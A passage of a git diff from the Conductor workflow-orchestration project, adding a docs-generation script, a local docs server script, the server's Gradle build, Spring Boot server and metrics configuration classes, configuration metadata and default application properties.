os.path.splitext(name)[0] + # Convert snake_case/kebab-case to readable + display = display.replace("_", " ").replace("-", " ").title() + + if item_type == "dir": + display = name.replace("_", " ").replace("-", " ").title() + + examples.append((display, html_url, item_type)) + + return examples + + +def build_examples_table(repo, examples_dir): + """Build a markdown table of examples.""" + examples = fetch_examples(repo, examples_dir) + if not examples: + return "" + + base_url = f"{GITHUB_BLOB}/{GITHUB_ORG}/{repo}/tree/main/{examples_dir}" + lines = [ + "", + "## Examples", + "", + f"Browse all examples on GitHub: [{GITHUB_ORG}/{repo}/{examples_dir}]({base_url})", + "", + "| Example | Type |", + "|---|---|", + ] + + for display, url, item_type in examples: + icon = "directory" if item_type == "dir" else "file" + lines.append(f"| [{display}]({url}) | {icon} |") + + lines.append("") + return "\n".join(lines) + + +def process_sdk(repo, output_file, display_name, examples_dir, description): + """Fetch README, process it, and write the output file.""" + print(f"Fetching {display_name} SDK from {GITHUB_ORG}/{repo}...") + + readme = fetch_readme(repo) + if readme is None: + print(f" SKIP: Could not fetch README for {repo}", file=sys.stderr) + return False + + # Process content + readme = strip_title(readme) + readme = strip_toc(readme) + readme = strip_preamble(readme) + readme = rewrite_paths(readme, repo) + + # Build examples section + examples_section = build_examples_table(repo, examples_dir) + + # Compose final markdown + repo_url = f"{GITHUB_BLOB}/{GITHUB_ORG}/{repo}" + output = f"""--- +description: "{description}" +--- + +# {display_name} SDK + +!!! info "Source" + GitHub: [{GITHUB_ORG}/{repo}]({repo_url}) | Report issues and contribute on GitHub. + +{readme} +{examples_section}""" + + # Write output + output_path = os.path.join(DOCS_DIR, output_file) + with open(output_path, "w") as f: + f.write(output) + + print(f" Wrote {output_path}") + return True + + +def main(): + os.makedirs(DOCS_DIR, exist_ok=True) + + success = 0 + for repo, output_file, display_name, examples_dir, description in SDKS: + if process_sdk(repo, output_file, display_name, examples_dir, description): + success += 1 + + print(f"\nDone: {success}/{len(SDKS)} SDK docs generated.") + + if success < len(SDKS): + print("Some SDKs could not be fetched. Check warnings above.", file=sys.stderr) + + +if __name__ == "__main__": + main() diff --git a/serve-docs.sh b/serve-docs.sh new file mode 100755 index 0000000..bd111d5 --- /dev/null +++ b/serve-docs.sh @@ -0,0 +1,10 @@ +#!/usr/bin/env bash +# Serves the Conductor documentation site locally using MkDocs +# Usage: ./serve-docs.sh [port] + +PORT="${1:-8000}" + +echo "Starting Conductor docs at http://localhost:${PORT}" +echo "Press Ctrl+C to stop" + +mkdocs serve -a "localhost:${PORT}" diff --git a/server/build.gradle b/server/build.gradle new file mode 100644 index 0000000..775a1cc --- /dev/null +++ b/server/build.gradle @@ -0,0 +1,143 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ + +plugins { + id 'org.springframework.boot' +} + +dependencies { + implementation project(':conductor-core') + implementation project(':conductor-rest') + implementation project(':conductor-grpc-server') + implementation project(':conductor-ai') + // Embedded AgentSpan runtime (REST controllers, agent services); activated only when + // conductor.integrations.ai.enabled=true. + implementation project(':conductor-agentspan-server') + + //Event Systems + implementation project(':conductor-amqp') + implementation project(':conductor-nats') + implementation project(':conductor-nats-streaming') + implementation project(':conductor-awssqs-event-queue') + implementation project(':conductor-kafka-event-queue') + + //External Payload Storage + implementation project(':conductor-azureblob-storage') + implementation project(':conductor-postgres-external-storage') + implementation project(':conductor-awss3-storage') + implementation project(':conductor-local-file-storage') + implementation project(':conductor-gcs-storage') + + + //Persistence + implementation project(':conductor-redis-configuration') + implementation project(':conductor-redis-persistence') + implementation project(':conductor-cassandra-persistence') + implementation project(':conductor-postgres-persistence') + implementation project(':conductor-mysql-persistence') + implementation project(':conductor-sqlite-persistence') + + // Indexing backend selection (build-time) to avoid Lucene conflicts between ES and OS + def indexingBackend = project.findProperty('indexingBackend') ?: 'elasticsearch' + + if (indexingBackend == 'opensearch3' || indexingBackend == 'os3') { + implementation project(':conductor-os-persistence-v3') + } else if (indexingBackend == 'opensearch' || indexingBackend == 'os') { + implementation project(':conductor-os-persistence') + implementation project(':conductor-os-persistence-v2') + } else if (indexingBackend == 'elasticsearch8' || indexingBackend == 'es8') { + implementation project(':conductor-es8-persistence') + } else if (indexingBackend == 'elasticsearch7' || indexingBackend == 'es7' || indexingBackend == 'elasticsearch') { + implementation project(':conductor-es7-persistence') + } else { + implementation project(':conductor-es7-persistence') + } + implementation project(':conductor-redis-lock') + implementation project(':conductor-redis-concurrency-limit') + + //System Tasks + implementation project(':conductor-http-task') + implementation project(':conductor-json-jq-task') + implementation project(':conductor-kafka') + + //Scheduler + implementation project(':conductor-scheduler-core') + implementation project(':conductor-scheduler-postgres-persistence') + implementation project(':conductor-scheduler-mysql-persistence') + implementation project(':conductor-scheduler-cassandra-persistence') + implementation project(':conductor-scheduler-redis-persistence') + implementation project(':conductor-scheduler-sqlite-persistence') + + //Metrics + implementation "io.micrometer:micrometer-registry-cloudwatch2:${revMicrometer}" + implementation "io.micrometer:micrometer-registry-azure-monitor:${revMicrometer}" + implementation "io.micrometer:micrometer-registry-prometheus:${revMicrometer}" + + //Event Listener + implementation project(':conductor-workflow-event-listener') + + + implementation 'org.springframework.boot:spring-boot-starter' + implementation 'org.springframework.boot:spring-boot-starter-validation' + implementation 'org.springframework.boot:spring-boot-starter-web' + implementation 'org.springframework.retry:spring-retry' + + implementation 'org.springframework.boot:spring-boot-starter-log4j2' + implementation 'org.apache.logging.log4j:log4j-web' + implementation "redis.clients:jedis:${revJedis}" + implementation "org.postgresql:postgresql:${revPostgres}" + + implementation 'org.springframework.boot:spring-boot-starter-actuator' + implementation "io.orkes.queues:orkes-conductor-queues:${revOrkesQueues}" + + implementation "org.springdoc:springdoc-openapi-starter-webmvc-ui:${revSpringDoc}" + + + runtimeOnly "org.glassfish.jaxb:jaxb-runtime:${revJAXB}" + + testImplementation project(':conductor-rest') + testImplementation project(':conductor-common') + testImplementation "io.grpc:grpc-testing:${revGrpc}" + testImplementation "com.google.protobuf:protobuf-java:${revProtoBuf}" + testImplementation "io.grpc:grpc-protobuf:${revGrpc}" + testImplementation "io.grpc:grpc-stub:${revGrpc}" +} + +jar { + enabled = true +} + +bootJar { + mainClass = 'com.netflix.conductor.Conductor' + manifest { + attributes('Implementation-Title': project.name, + 'Implementation-Version': project.version) + } + archiveClassifier = 'boot' +} + +publishing { + publications { + mavenJava(MavenPublication) { + artifact bootJar + } + } +} + +// https://docs.spring.io/spring-boot/docs/current/gradle-plugin/reference/htmlsingle/#integrating-with-actuator.build-info +// This will configure a BuildInfo task named bootBuildInfo +springBoot { + buildInfo() +} + +compileJava.dependsOn bootBuildInfo diff --git a/server/src/main/java/com/netflix/conductor/Conductor.java b/server/src/main/java/com/netflix/conductor/Conductor.java new file mode 100644 index 0000000..f25bbbd --- /dev/null +++ b/server/src/main/java/com/netflix/conductor/Conductor.java @@ -0,0 +1,126 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor; + +import java.io.IOException; +import java.net.InetAddress; +import java.util.Properties; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.ApplicationArguments; +import org.springframework.boot.ApplicationRunner; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.boot.autoconfigure.mongo.MongoAutoConfiguration; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.core.env.Environment; +import org.springframework.core.io.FileSystemResource; + +// Prevents from the datasource beans to be loaded, AS they are needed only for specific databases. +// In case that SQL database is selected this class will be imported back in the appropriate +// database persistence module. +@SpringBootApplication(exclude = {DataSourceAutoConfiguration.class, MongoAutoConfiguration.class}) +@ComponentScan( + basePackages = { + "com.netflix.conductor", + "io.orkes.conductor", + "org.conductoross.conductor" + }) +public class Conductor implements ApplicationRunner { + + private static final Logger log = LoggerFactory.getLogger(Conductor.class); + + private final Environment environment; + + public Conductor(Environment environment) { + this.environment = environment; + } + + public static void main(String[] args) throws IOException { + loadExternalConfig(); + + SpringApplication.run(Conductor.class, args); + } + + @Override + public void run(ApplicationArguments args) { + String dbType = environment.getProperty("conductor.db.type", "memory"); + String queueType = environment.getProperty("conductor.queue.type", "memory"); + String indexingType = environment.getProperty("conductor.indexing.type", "memory"); + String port = environment.getProperty("server.port", "8080"); + String contextPath = environment.getProperty("server.servlet.context-path", ""); + + String hostname; + try { + hostname = InetAddress.getLocalHost().getHostName(); + } catch (Exception e) { + hostname = "localhost"; + } + + String serverUrl = String.format("http://%s:%s%s", hostname, port, contextPath); + log.info("\n\n\n"); + log.info("┌────────────────────────────────────────────────────────────────────────┐"); + log.info("│ CONDUCTOR SERVER CONFIGURATION │"); + log.info("├────────────────────────────────────────────────────────────────────────┤"); + log.info("│ Database Type : {}", padRight(dbType, 51) + "│"); + log.info("│ Queue Type : {}", padRight(queueType, 51) + "│"); + log.info("│ Indexing Type : {}", padRight(indexingType, 51) + "│"); + log.info("│ Server Port : {}", padRight(port, 51) + "│"); + log.info("├────────────────────────────────────────────────────────────────────────┤"); + log.info("│ Server URL : {}", padRight(serverUrl, 51) + "│"); + log.info( + "│ Swagger UI : {}", + padRight(serverUrl + "/swagger-ui/index.html", 51) + "│"); + log.info("└────────────────────────────────────────────────────────────────────────┘"); + log.info("\n\n\n"); + } + + private String padRight(String s, int width) { + if (s.length() >= width) { + return s.substring(0, width - 3) + "..."; + } + return String.format("%-" + width + "s", s); + } + + /** + * Reads properties from the location specified in CONDUCTOR_CONFIG_FILE and sets + * them as system properties so they override the default properties. + * + *

    Spring Boot property hierarchy is documented here, + * https://docs.spring.io/spring-boot/docs/current/reference/html/spring-boot-features.html#boot-features-external-config + * + * @throws IOException if file can't be read. + */ + private static void loadExternalConfig() throws IOException { + String configFile = System.getProperty("CONDUCTOR_CONFIG_FILE"); + if (StringUtils.isBlank(configFile)) { + configFile = System.getenv("CONDUCTOR_CONFIG_FILE"); + } + if (StringUtils.isNotBlank(configFile)) { + log.info("Loading {}", configFile); + FileSystemResource resource = new FileSystemResource(configFile); + if (resource.exists()) { + Properties properties = new Properties(); + properties.load(resource.getInputStream()); + properties.forEach( + (key, value) -> System.setProperty((String) key, (String) value)); + log.info("Loaded {} properties from {}", properties.size(), configFile); + } else { + log.warn("Ignoring {} since it does not exist", configFile); + } + } + } +} diff --git a/server/src/main/java/com/netflix/conductor/server/AgentSpanUiContextController.java b/server/src/main/java/com/netflix/conductor/server/AgentSpanUiContextController.java new file mode 100644 index 0000000..e13e6b0 --- /dev/null +++ b/server/src/main/java/com/netflix/conductor/server/AgentSpanUiContextController.java @@ -0,0 +1,81 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.server; + +import java.io.IOException; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.core.io.ClassPathResource; +import org.springframework.core.io.Resource; +import org.springframework.util.StreamUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import jakarta.servlet.http.HttpServletResponse; + +/** + * Serves the UI runtime config {@code /context.js} so the embedded AgentSpan agent pages are gated + * by the server's {@code conductor.integrations.ai.enabled} flag. + * + *

    Mirrors orkes-conductor's {@code UIContextGenerator}: a controller mapping takes precedence + * over the bundled static {@code /static/context.js}, so we serve the bundled file (preserving all + * other feature flags) and append a runtime override of {@code AGENTSPAN_ENABLED}. The UI reads + * {@code window.conductor.AGENTSPAN_ENABLED} to show/hide the Agents, Executions, Skills and + * Secrets pages. Only active when UI serving is enabled. + * + *

    Writes directly to the response to avoid content-negotiation on {@code + * application/javascript}. + */ +@RestController +@ConditionalOnProperty( + name = "conductor.enable.ui.serving", + havingValue = "true", + matchIfMissing = true) +public class AgentSpanUiContextController { + + private final boolean agentSpanEnabled; + + public AgentSpanUiContextController( + @Value("${conductor.integrations.ai.enabled:false}") boolean agentSpanEnabled) { + this.agentSpanEnabled = agentSpanEnabled; + } + + @GetMapping("/context.js") + public void contextJs(HttpServletResponse response) throws IOException { + response.setContentType("application/javascript"); + response.setCharacterEncoding("UTF-8"); + response.setHeader("Cache-Control", "no-cache, no-store, must-revalidate"); + + StringBuilder js = new StringBuilder(); + + // Start from the bundled UI context.js so all other feature flags are preserved. + Resource bundled = new ClassPathResource("static/context.js"); + if (bundled.exists()) { + try (InputStream in = bundled.getInputStream()) { + js.append(StreamUtils.copyToString(in, StandardCharsets.UTF_8)); + } + } else { + js.append("window.conductor = window.conductor || {};\n"); + } + + // Runtime override driven by the server configuration. + js.append("\n// Injected by Conductor server (conductor.integrations.ai.enabled)\n"); + js.append("window.conductor = window.conductor || {};\n"); + js.append("window.conductor.AGENTSPAN_ENABLED = ").append(agentSpanEnabled).append(";\n"); + + response.getWriter().write(js.toString()); + } +} diff --git a/server/src/main/java/com/netflix/conductor/server/config/AzureMonitorMetricsConfiguration.java b/server/src/main/java/com/netflix/conductor/server/config/AzureMonitorMetricsConfiguration.java new file mode 100644 index 0000000..4d16f2e --- /dev/null +++ b/server/src/main/java/com/netflix/conductor/server/config/AzureMonitorMetricsConfiguration.java @@ -0,0 +1,51 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.server.config; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import io.micrometer.azuremonitor.AzureMonitorConfig; +import io.micrometer.azuremonitor.AzureMonitorMeterRegistry; +import io.micrometer.core.instrument.Clock; +import io.micrometer.core.instrument.MeterRegistry; +import lombok.extern.slf4j.Slf4j; + +@ConditionalOnProperty( + value = "management.azuremonitor.metrics.export.enabled", + havingValue = "true") +@Configuration +@Slf4j +public class AzureMonitorMetricsConfiguration { + + @Bean + public MeterRegistry getAzureMonitorMeterRegistry( + @Value("${management.azuremonitor.metrics.export.instrumentationKey:null}") + String instrumentationKey) { + AzureMonitorConfig azureMonitorConfig = + new AzureMonitorConfig() { + @Override + public String instrumentationKey() { + return instrumentationKey; + } + + @Override + public String get(String key) { + return null; + } + }; + return new AzureMonitorMeterRegistry(azureMonitorConfig, Clock.SYSTEM); + } +} diff --git a/server/src/main/java/com/netflix/conductor/server/config/CloudWatchMetricsConfiguration.java b/server/src/main/java/com/netflix/conductor/server/config/CloudWatchMetricsConfiguration.java new file mode 100644 index 0000000..1d06e1c --- /dev/null +++ b/server/src/main/java/com/netflix/conductor/server/config/CloudWatchMetricsConfiguration.java @@ -0,0 +1,52 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.server.config; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import io.micrometer.cloudwatch2.CloudWatchConfig; +import io.micrometer.cloudwatch2.CloudWatchMeterRegistry; +import io.micrometer.core.instrument.Clock; +import io.micrometer.core.instrument.MeterRegistry; +import lombok.extern.slf4j.Slf4j; +import software.amazon.awssdk.services.cloudwatch.CloudWatchAsyncClient; + +@ConditionalOnProperty(value = "management.cloudwatch.metrics.export.enabled", havingValue = "true") +@Configuration +@Slf4j +public class CloudWatchMetricsConfiguration { + + @Bean + public MeterRegistry getCloudWatchMetrics( + @Value("${management.cloudwatch.metrics.export.namespace:conductor}") + String namespace) { + CloudWatchConfig cloudWatchConfig = + new CloudWatchConfig() { + @Override + public String get(String s) { + return null; + } + + @Override + public String namespace() { + return namespace; + } + }; + log.info("Using namespace '{}' for cloudwatch metrics", namespace); + return new CloudWatchMeterRegistry( + cloudWatchConfig, Clock.SYSTEM, CloudWatchAsyncClient.create()); + } +} diff --git a/server/src/main/java/com/netflix/conductor/server/config/LoggingMetricsConfiguration.java b/server/src/main/java/com/netflix/conductor/server/config/LoggingMetricsConfiguration.java new file mode 100644 index 0000000..197cc9a --- /dev/null +++ b/server/src/main/java/com/netflix/conductor/server/config/LoggingMetricsConfiguration.java @@ -0,0 +1,39 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.server.config; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import io.micrometer.core.instrument.MeterRegistry; +import io.micrometer.core.instrument.logging.LoggingMeterRegistry; +import lombok.extern.slf4j.Slf4j; + +/** + * Metrics logging reporter, dumping all metrics into an Slf4J logger. + * + *

    Enable in config: conductor.metrics-logger.enabled=true + * + *

    additional config: conductor.metrics-logger.reportInterval=15s + */ +@ConditionalOnProperty(value = "conductor.metrics-logger.enabled", havingValue = "true") +@Configuration +@Slf4j +public class LoggingMetricsConfiguration { + + @Bean + public MeterRegistry getLoggingMeterRegistry() { + return new LoggingMeterRegistry(log::info); + } +} diff --git a/server/src/main/resources/META-INF/additional-spring-configuration-metadata.json b/server/src/main/resources/META-INF/additional-spring-configuration-metadata.json new file mode 100644 index 0000000..ce73b04 --- /dev/null +++ b/server/src/main/resources/META-INF/additional-spring-configuration-metadata.json @@ -0,0 +1,183 @@ +{ + "properties": [ + { + "name": "conductor.db.type", + "type": "java.lang.String", + "description": "The type of database to be used while running the Conductor application." + }, + { + "name": "conductor.indexing.enabled", + "type": "java.lang.Boolean", + "description": "Enable indexing to elasticsearch/opensearch. If set to false, a no-op implementation will be used." + }, + { + "name": "conductor.indexing.type", + "type": "java.lang.String", + "description": "The type of indexing backend to use. Supported values include elasticsearch, elasticsearch8, opensearch, postgres, sqlite." + }, + { + "name": "conductor.grpc-server.enabled", + "type": "java.lang.Boolean", + "description": "Enable the gRPC server." + }, + { + "name": "conductor.opensearch.url", + "type": "java.lang.String", + "description": "The comma separated list of urls for the OpenSearch cluster. Format: host1:port1,host2:port2" + }, + { + "name": "conductor.opensearch.version", + "type": "java.lang.Integer", + "description": "The OpenSearch version (1, 2, etc.) for version-specific API handling." + }, + { + "name": "conductor.opensearch.indexPrefix", + "type": "java.lang.String", + "description": "The index prefix to be used when creating indices in OpenSearch." + }, + { + "name": "conductor.opensearch.clusterHealthColor", + "type": "java.lang.String", + "description": "The color of the OpenSearch cluster health to wait for." + }, + { + "name": "conductor.opensearch.indexShardCount", + "type": "java.lang.Integer", + "description": "The number of shards that the OpenSearch index will be created with." + }, + { + "name": "conductor.opensearch.indexReplicasCount", + "type": "java.lang.Integer", + "description": "The number of replicas that the OpenSearch index will be configured to have." + }, + { + "name": "conductor.opensearch.username", + "type": "java.lang.String", + "description": "OpenSearch basic auth username." + }, + { + "name": "conductor.opensearch.password", + "type": "java.lang.String", + "description": "OpenSearch basic auth password." + }, + { + "name": "conductor.opensearch.autoIndexManagementEnabled", + "type": "java.lang.Boolean", + "description": "Whether automatic index management is enabled for OpenSearch." + }, + { + "name": "conductor.opensearch.taskLogResultLimit", + "type": "java.lang.Integer", + "description": "The number of task log results that will be returned in the response." + }, + { + "name": "conductor.opensearch.asyncMaxPoolSize", + "type": "java.lang.Integer", + "description": "The maximum number of threads allowed in the async pool for OpenSearch operations." + }, + { + "name": "conductor.opensearch.asyncWorkerQueueSize", + "type": "java.lang.Integer", + "description": "The size of the queue used for holding async OpenSearch indexing tasks." + }, + { + "name": "conductor.opensearch.indexBatchSize", + "type": "java.lang.Integer", + "description": "The size of the batch to be used for bulk indexing in async mode." + } + ], + "hints": [ + { + "name": "conductor.db.type", + "values": [ + { + "value": "memory", + "description": "Use in-memory redis as the database implementation." + }, + { + "value": "cassandra", + "description": "Use cassandra as the database implementation." + }, + { + "value": "mysql", + "description": "Use MySQL as the database implementation." + }, + { + "value": "postgres", + "description": "Use Postgres as the database implementation." + }, + { + "value": "dynomite", + "description": "Use Dynomite as the database implementation." + }, + { + "value": "redis_cluster", + "description": "Use Redis Cluster configuration as the database implementation." + }, + { + "value": "redis_sentinel", + "description": "Use Redis Sentinel configuration as the database implementation." + }, + { + "value": "redis_standalone", + "description": "Use Redis Standalone configuration as the database implementation." + } + ] + }, + { + "name": "conductor.indexing.type", + "values": [ + { + "value": "elasticsearch", + "description": "Use Elasticsearch as the indexing backend." + }, + { + "value": "elasticsearch8", + "description": "Use Elasticsearch 8.x as the indexing backend." + }, + { + "value": "opensearch", + "description": "Use OpenSearch as the indexing backend. Requires conductor.elasticsearch.version=0 to disable ES7 auto-configuration." + }, + { + "value": "postgres", + "description": "Use Postgres as the indexing backend." + }, + { + "value": "sqlite", + "description": "Use SQLite as the indexing backend." + } + ] + }, + { + "name": "conductor.opensearch.version", + "values": [ + { + "value": 1, + "description": "OpenSearch 1.x" + }, + { + "value": 2, + "description": "OpenSearch 2.x (default)" + } + ] + }, + { + "name": "conductor.opensearch.clusterHealthColor", + "values": [ + { + "value": "green", + "description": "Wait for green cluster health status." + }, + { + "value": "yellow", + "description": "Wait for yellow cluster health status." + }, + { + "value": "red", + "description": "Wait for red cluster health status (not recommended)." + } + ] + } + ] +} diff --git a/server/src/main/resources/application.properties b/server/src/main/resources/application.properties new file mode 100644 index 0000000..6dd0c11 --- /dev/null +++ b/server/src/main/resources/application.properties @@ -0,0 +1,282 @@ +# +# Copyright 2023 Conductor authors +#

    +# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +#

    +# http://www.apache.org/licenses/LICENSE-2.0 +#

    +# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on +# an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +# specific language governing permissions and limitations under the License. +# + +spring.application.name=conductor +springdoc.api-docs.path=/api-docs +spring.datasource.url=jdbc:sqlite:c123.db?busy_timeout=15000&journal_mode=WAL +conductor.db.type=sqlite +conductor.queue.type=sqlite +conductor.indexing.type=sqlite +conductor.workflow-execution-lock.type=local_only +#loadSample=true +# enable name validation on workflow/task definitions +conductor.app.workflow.name-validation.enabled=false +conductor.app.ownerEmailMandatory=false + +# Scheduler +conductor.scheduler.enabled=true + +# Workflow Message Queue (WMQ) feature +conductor.workflow-message-queue.enabled=false +conductor.workflow-message-queue.maxQueueSize=1000 +conductor.workflow-message-queue.ttlSeconds=86400 +conductor.workflow-message-queue.maxBatchSize=100 + +# Redis cluster connection in SSL mode +#conductor.redis.ssl=false + +# conductor.indexing.enabled=false + +#Redis configuration details. +#format is host:port:rack separated by semicolon +#Auth is supported. Password is taken from host[0]. format: host:port:rack:password +#conductor.redis.hosts=host1:port:rack;host2:port:rack:host3:port:rack +#conductor.redis.hosts=localhost:6379:us-east-1c + +#namespace for the keys stored in Dynomite/Redis +conductor.redis.workflowNamespacePrefix= + +#namespace prefix for the dyno queues +conductor.redis.queueNamespacePrefix= + +#no. of threads allocated to dyno-queues +queues.dynomite.threads=10 + +#non-quorum port used to connect to local redis. Used by dyno-queues +conductor.redis.queuesNonQuorumPort=22122 + +# For a single node dynomite or redis server, make sure the value below is set to same as rack specified in the "workflow.dynomite.cluster.hosts" property. +conductor.redis.availabilityZone=us-east-1c +#conductor.redis.maxIdleConnections=8 +#conductor.redis.minIdleConnections=5 +#conductor.redis.minEvictableIdleTimeMillis = 1800000 +#conductor.redis.timeBetweenEvictionRunsMillis = -1L +#conductor.redis.testWhileIdle = false +#conductor.redis.numTestsPerEvictionRun = 3 + +#Transport address to elasticsearch +#conductor.elasticsearch.url=localhost:9300 + +#Name of the elasticsearch cluster +conductor.elasticsearch.indexName=conductor + +#Elasticsearch major release version (7 or 8). +#conductor.elasticsearch.version=7 +#conductor.elasticsearch.version=7 + +# Default event queue type to listen on for wait task +conductor.default-event-queue.type=sqs + +#zookeeper +# conductor.zookeeper-lock.connectionString=host1.2181,host2:2181,host3:2181 +# conductor.zookeeper-lock.sessionTimeoutMs +# conductor.zookeeper-lock.connectionTimeoutMs +# conductor.zookeeper-lock.namespace + + +#Redis cluster settings for locking module +# conductor.redis-lock.serverType=single +#Comma separated list of server nodes +# conductor.redis-lock.serverAddress=redis://127.0.0.1:6379 +#Redis sentinel master name +# conductor.redis-lock.serverMasterName=master +# conductor.redis-lock.namespace + +#Following properties set for using AMQP events and tasks with conductor: +#(To enable support of AMQP queues) +#conductor.event-queues.amqp.enabled=true + +# Here are the settings with default values: +#conductor.event-queues.amqp.hosts= +#conductor.event-queues.amqp.username= +#conductor.event-queues.amqp.password= + +#conductor.event-queues.amqp.virtualHost=/ +#conductor.event-queues.amqp.port=5672 +#conductor.event-queues.amqp.useNio=false +#conductor.event-queues.amqp.batchSize=1 +#conductor.event-queues.amqp.pollTimeDuration=100ms +#conductor.event-queues.amqp.queueType=classic +#conductor.event-queues.amqp.sequentialMsgProcessing=true +#conductor.event-queues.amqp.connectionTimeoutInMilliSecs=180000 +#conductor.event-queues.amqp.networkRecoveryIntervalInMilliSecs=5000 +#conductor.event-queues.amqp.requestHeartbeatTimeoutInSecs=30 +#conductor.event-queues.amqp.handshakeTimeoutInMilliSecs=180000 +#conductor.event-queues.amqp.maxChannelCount=5000 +#conductor.event-queues.amqp.limit=50 +#conductor.event-queues.amqp.duration=1000 +#conductor.event-queues.amqp.retryType=REGULARINTERVALS + +#conductor.event-queues.amqp.useExchange=true( exchange or queue) +#conductor.event-queues.amqp.listenerQueuePrefix=myqueue +# Use durable queue ? +#conductor.event-queues.amqp.durable=false +# Use exclusive queue ? +#conductor.event-queues.amqp.exclusive=false +# Enable support of priorities on queue. Set the max priority on message. +# Setting is ignored if the value is lower or equals to 0 +#conductor.event-queues.amqp.maxPriority=-1 + +# To enable Workflow/Task Summary Input/Output JSON Serialization, use the following: +# conductor.app.summary-input-output-json-serialization.enabled=true + +# To enable webhook module for TaskStatus and WorkflowStatus notifications +#conductor.workflow-status-listener.type=workflow_publisher +#conductor.task-status-listener.type=task_publisher + +# Webhook Push notification properties (Use enums in TaskModel.Status) +#conductor.status-notifier.notification.url= +#conductor.status-notifier.notification.endpointWorkflow= +#conductor.status-notifier.notification.endpointTask= +#conductor.status-notifier.notification.subscribedTaskStatuses=SCHEDULED + +#conductor.status-notifier.notification.headerPrefer= +#conductor.status-notifier.notification.headerPreferValue= +#conductor.status-notifier.notification.requestTimeoutMsConnect=100 +#conductor.status-notifier.notification.requestTimeoutMsRead=300 +#conductor.status-notifier.notification.requestTimeoutMsConnMgr=300 +#conductor.status-notifier.notification.requestRetryCount=3 +#conductor.status-notifier.notification.requestRetryIntervalMs=50 +#conductor.status-notifier.notification.connectionPoolMaxRequest=3 +#conductor.status-notifier.notification.connectionPoolMaxRequestPerRoute=3 + +#sqlite.database.dir=${DATABASE_DIR:${user.dir}} +#sqlite.database.name=conductorosstest.db +#spring.datasource.driver-class-name=org.sqlite.JDBC +#spring.datasource.url=jdbc:sqlite:${sqlite.database.dir}/${sqlite.database.name}?busy_timeout=15000&journal_mode=WAL +#spring.datasource.username= +#spring.datasource.password= +#spring.datasource.hikari.maximum-pool-size=1 +#conductor.db.type=sqlite +#conductor.queue.type=sqlite +#conductor.indexing.type=sqlite +#conductor.indexing.enabled=true +#conductor.elasticsearch.version=0 + +# Default Metrics +conductor.metrics-prometheus.enabled=true +management.endpoints.web.exposure.include=health,info,prometheus +management.metrics.web.server.request.autotime.percentiles=0.50,0.75,0.90,0.95,0.99 +management.endpoint.health.show-details=always + +# Optional Metrics Plugins configuration +# See 